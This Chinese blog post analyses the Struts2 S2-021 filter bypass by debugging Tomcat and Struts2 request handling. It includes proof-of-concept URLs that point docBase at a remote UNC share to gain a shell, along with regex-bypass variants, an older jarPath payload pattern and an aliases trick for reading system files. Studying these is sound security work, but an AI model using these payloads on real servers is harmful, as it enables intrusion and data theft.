Debug Struts2 S2-021的一點心得體會
前段時間這個漏洞吵得比較火,最近研究了一下tomcat底層程式碼,結合struts2的框架原始碼跟蹤了一下這個漏洞的觸發過程。在整個debug過程中,感觸頗多,遂留下此文以作三思筆記,不敢奢望太多,只希望對感興趣的童鞋有所幫助,大牛飄過。如果文中哪裡有不準確之處,還望各位積極拍磚指正。
0x00 老漏洞新玩法
關於利用,不得不先說一下S2-020這個漏洞,其實之前網上已經有相關文件講述S2-020的利用方法,比如下邊這兩篇
http://sec.baidu.com/index.php?research/detail/id/18
首先要感謝作者提供利用方法。個人還是更偏向利用docBase屬性,因為這個屬性tomcat每個版本都有。PoC如下,
http://localhost:8080/S2_3_16_1/hello.action?class.classLoader.resources.dirContext.docBase=\\IP\evil
這是S2-020的利用,我們再回到S2-021,首先看一下官方是怎麼修復的,找到struts2-core-2.3.16.1.jar中的struts-default.xml,可以看到官方修復就是將使用者請求用正則過濾了一下,而且正則寫的也很簡陋,包括github上給出的那個修復方法,都沒有過濾掉真正的利用,如圖所示:
所以將S2-020的poc稍微變一下型繞過正則過濾,便是S2-021了,並且struts2預設正則大小寫是敏感的。利用就很簡單了,下面這幾種方法都可以
http://localhost:8080/S2_3_16_1/hello.action?class[‘classLoader’].resources.dirContext.docBase=\\IP\evil
http://localhost:8080/S2_3_16_1/hello.action?Class.ClassLoader.resources.dirContext.docBase=\\IP\evil
http://localhost:8080/S2_3_16_1/hello.action?top.Class.ClassLoader..resources.dirContext.docBase=\\IP\evil
….
這裡我就以Class['ClassLoader'].resources.dirContext.docBase =aa為例跟蹤請求從tomcat容器到struts2框架的程式碼處理流程,先說一下除錯環境,這裡我debug的是tomcat 6.0.24的原始碼+struts2.3.16.1的原始碼。
0x01 Tomcat處理HTTP請求
首先肯定是先由tomcat來處理請求,跟蹤tomcat原始碼,這裡tomcat呼叫JIoEndpoint.java的run()建立socket
然後呼叫processor.process(socket)負責解析http協議並返回結果內容,如圖
這裡要重點說一下,processor是HttpProcessor的一個例項,事實上tomcat對HTTP請求的解析都是透過HttpProcessor這個類中的process()這個方法實現的。跟入process()這個函式,可以看到實際上它就幹了四件事兒,如下
parseRequestLine()和parseHeaders()
parseRequestLine()解析請求的第一行也就是method、uri以及protocol(GET /S2_3_16_1/hello.action HTTP/1.1), 將相應的值設到request例項中。parseHeaders()解析HTTP頭將內容(host,ua,connect…)設定到headers例項中。
prepareRequest()
透過prepareRequest方法組裝request filter,用於處理http訊息體
adapter.service(request, response)
將request交給tomcat處理,返回response
inputBuffer.endRequest()
將response返回給客戶端
這裡跟蹤程式碼可以看到adapter.service(request, response)將請求交給容器處理,如圖
在這之後便是tomcat從connector到servlet處理HTTP請求的流程,http請求會依次進入engine、host、wrapper這裡具體程式碼流程就不貼了。一直到最終關聯servlet,實際上這裡關聯的就是struts2,如圖
其實請求一直執行到這裡,才算是跟struts2搭上關係了,跟蹤這個doFilter一直到internalDoFilter方法,如圖
這個filter便是struts2的FilterDispatcher的例項了,而執行這個doFilter方法才開始進入struts2的程式碼邏輯,在這之後程式的控制權由容器轉交給struts2。
好吧,到這裡其實一直都是在扯淡,跟struts2屁關係沒有,因為HTTP請求還在容器裡。以上僅供個人記錄,大牛勿噴!下面開始debug框架。
0x02 Struts2處理HTTP請求
其實Struts2的核心就是一個Filter,它的作用只是處理HTTP請求(request)然後返回給客戶端(response),其doFilter方法是struts2處理HTTP請求的入口。後面struts2將HTTP請求經過一系列處理之後,交給了引數攔截器(ParametersInterceptor),用來設定引數屬性。前面我們提到的使用者提交aa=bb這樣的請求時struts2會自動執行對應setaa方法去設定這個屬性值,其實都在引數攔截器的邏輯中,但是具體實現是靠OGNL完成的。引數攔截器有一個doIntercept方法,如圖
首先引數攔截器會獲取action例項
#!java
Object action = invocation.getAction();
然後生成OGNL上下文
#!java
ActionContext ac = invocation.getInvocationContext();
這裡的ac便是OGNL上下文了。關於ac的內容,這裡要重點說一下,
其實ac裡存的就是contextMap,在這裡我們可以看到一些比較熟悉的內容,比如#_memberAccess.allowStaticMethodAccess
這個在之前的利用中多次出現,再就是#_root這個是根元素ValueStack,它儲存的是action的例項,如圖
繼續回到引數攔截器的邏輯,執行下面程式碼獲取HTTP引數
#!java
final Map<String, Object> parameters = retrieveParameters(ac);
跟入這個retrieveParameters,如圖
這裡其實呼叫ActionContext.getParameters()
實現,獲得Map型的引數集parameters。遍歷 HttpServletRequest、HttpSession、ServletContext
中的資料,並將其複製到Webwork的Map中實現,至此之後,所有資料操作均在此Map結構中進行,從而將內部結構與Servlet API相分離。
然後引數攔截器從OGNL上下文中取出值棧,
#!java
ValueStack stack = ac.getValueStack();
繼續跟入setParameters(action, stack, parameters);
如圖
這裡newStack是從OGNL上下文中取出的ValueStack,儲存的是action的例項
name是HTTP請求引數名,
value是HTTP請求引數值
這裡newStack.setParameter(name, value);
便是將HTTP請求的引數設定到action例項當中。此過程中會呼叫set方法設定屬性。這裡我發現newStack.setParameter(name, value);
的執行邏輯都是透過OGNL實現的,實際上就是遍歷上下文去找對應的set方法。比如,這裡是去tomcat中找到setDocBase方法執行。
0x03 漏洞是引數攔截器的特性
因為每個action必然繼承容器的classLoader
,所以每個action中肯定有對應classLoader
中的屬性。這裡請求引數是Class['ClassLoader'].resources.dirContext.docBase
,跟蹤程式碼最終找到呼叫的是tomcat原始碼中BaseDirContext類中的setDocBase()
方法,如圖
所以關於漏洞,分析到這兒可以看到這個其實就是struts2引數攔截器的特性,而且不單單是classLoader,只要是符合條件的物件,都可以操控。
這裡再說一下官方修復為什麼會被繞過,還是看引數攔截器的程式碼(ParametersInterceptor.java)
,他會呼叫isExcluded去檢測請求引數是否合規,如圖
這個this. excludeParams
便是struts2-core.jar
中struts-default.xml
中配置的正則了,
而在其他位置沒有過濾,所以變換一下寫法就可以bypass掉。
關於操控classLoader其實早在S2-009就有這種利用了,而且那時候官方過濾更加不嚴,因為OGNL支援(aa)(bb)這樣的方式執行程式碼,所以當時在tomcat下的利用是class.classLoader.jarPath=(PAYLOAD)(aa)&x[(class.classLoader.jarPath)('aa')]
這樣,其實這個是操控classLoader的jarPath屬性。當然不同的容器對應不同的屬性,比如JBOSS的classLoader中也有class.classLoader.jarPath
這個屬性,所以跟tomcat相同的利用方法。在resin下還有個class.classLoader.id是String型別同時在WebappClassLoader裡也存在setid這個方法,所以也可以像jarPath那樣利用。
0x04 檢測方法
首先可以利用報錯來檢測,但是要保證不對應用造成傷害,肯定不能用docBase這樣的屬性了,這個屬性太危險了,即使getshell成功了也會改變網站根目錄造成ddos。
這裡經過我測試,發現可以用class.classLoader.parent
和class.classLoader.resources
這兩個屬性,首先對於tomcat這個兩個屬性覆蓋全版本,再就是他們有對應的set方法,最後也就是最重要的,覆蓋不成功,使框架丟擲錯誤。這裡我查了一下在tomcat原始碼中對這兩個屬性的定義,如圖
可以看到parent是classLoader,resources是DirContext,這樣用一個字串去覆蓋這兩個屬性然後讓struts2丟擲錯誤,判斷是否存在漏洞,所以檢測url可以這麼寫:
#!java
Class['ClassLoader'].parent= GENXOR
Class['ClassLoader'].resources=GENXOR
先說Class['ClassLoader'].parent
,除錯過程如圖
這裡其實並沒有setparent,WebappClassLoader.java
中也沒有setparent這個方法,這裡報錯應該是因為OGNL沒有許可權訪問WebappClassLoader的parent也就是URLClassLoader所以丟擲錯誤。
再說一下Class['ClassLoader'].resources
這個屬性,還是看一下框架丟擲的錯誤資訊,如圖
異常資訊提示setResources方法執行失敗,因為resources是DirContext所以用String型別去set報錯。執行效果如圖所示:
因為屬性覆蓋沒成功,所以應用還是正常的。
另外還有一種方法但是隻適用於tomcat7,就是在tomcat7的classLoader中有個aliases屬性,它的作用有點兒類似於虛擬目錄,主要用來指定靜態資源的位置,比如設定aliases="/image=/home/www/css"
,這樣訪問http://test.com/image實際是訪問絕對路徑/home/www/css
中的內容。利用這個思路也是可以檢測漏洞的,例如
#!java
Class['ClassLoader'].resources.dirContext.aliases=/image=/etc
Class['ClassLoader'].resources.dirContext.aliases=/image=c:/windows
可惜只能在tomcat7下這樣用,並且aliases不支援UNC Path,不然就可以悄無聲息的getshell,也不會驚動管理員了。但是依然可以遍歷目錄檔案,經測試可以讀取WEB-INF下的配置檔案,危害還是很大的。
0x05 後記S2-022
在寫這篇文章的時候,官方又爆出了S2-022,看了一下是CookieInterceptor的問題,還是沒有嚴格過濾,至於利用方法就是把前邊說的poc放到cookie中就可以了,大同小異。但是預設CookieInterceptor的邏輯是不會執行的,一般情況下開發人員也不會讓框架去處理cookie,要用的話需要手工配置,所以很雞肋。想要測試的童鞋,可以在struts.xml中新增類似程式碼,
#!xml
<action ... >
<interceptor-ref name="cookie">
<param name="cookiesName">*</param>
<param name="cookiesValue">*</param>
</interceptor-ref>
....
</action>
然後找到CookieInterceptor.java下斷debug就可以了。
相關文章
- 最近半年來的幾點心得體會2021-05-08
- 心得體會2024-07-13
- python學習心得體會(一)2020-04-04Python
- github心得體會2020-04-07Github
- 軟體開發的一些思考及心得體會2019-03-23
- 一點點linux系統的學習心得2019-01-03Linux
- 我做SAP CRM One Order redesign的一些心得體會2019-03-10
- 使用Kotlin的一些心得體會以及部分語法解析:2018-09-16Kotlin
- 4~6次pta心得體會2024-06-09
- Laravel 框架學習心得體會2019-12-16Laravel框架
- 使用Immutable js的一點體會2019-03-04JS
- 完全使用 VSCode 開發的心得和體會2021-03-09VSCode
- RabbitMQ學習心得體會之Exchange2024-10-08MQ
- Day19 本週心得體會2024-08-04
- 分享一些git小技巧,與個人心得體會2018-07-13Git
- 由軟體構造引申的OOP與POP的心得體會2020-06-09OOP
- Laravel mysql to Mongo 分享一些資料同步及分析的心得體會2021-03-17LaravelMySqlGo
- 微信小程式開發的一點心得2019-01-05微信小程式
- 三方對接「心得」與「體會」2023-03-29
- 在技術社群編寫技術部落格的一些心得體會2022-09-30
- struts2知識點整理2018-07-14
- 個人網站接入Google Ads的一點心得2024-06-29網站Go
- elastic-job-lite 使用的一點心得和坑2019-09-29AST
- 構建CtRL-sim心得體會和思考2024-07-15
- 小談數字化轉型心得體會2021-10-22
- 移動端SDK介面設計心得體會2019-07-13
- 廣東十一選五,個人心得體會2019-05-10
- 相容低版本IE瀏覽器的一些心得體會(持續更新)2020-08-27瀏覽器
- ffmpeg flv轉MP4 一點心得2019-01-08
- LeetCode刷題的一點個人建議和心得2020-10-04LeetCode
- 對於專案中簡單的多條件查詢的一些心得體會2018-07-13
- 【學員分享】 老男孩培訓三個月的心得體會!2022-11-16
- Linux系統中Shell指令碼編寫的一點心得2022-05-19Linux指令碼
- 斷點除錯 debug模式 10062020-10-08斷點除錯模式
- struts2的使用2018-06-10
- C#中關於 object,dynamic 一點使用心得2024-06-28C#Object
- Rust 程式設計視訊錄製結束的一點體會2020-03-02Rust程式設計
- 反向 Debug 瞭解一下?揭秘 Java DEBUG 的基本原理2024-11-25Java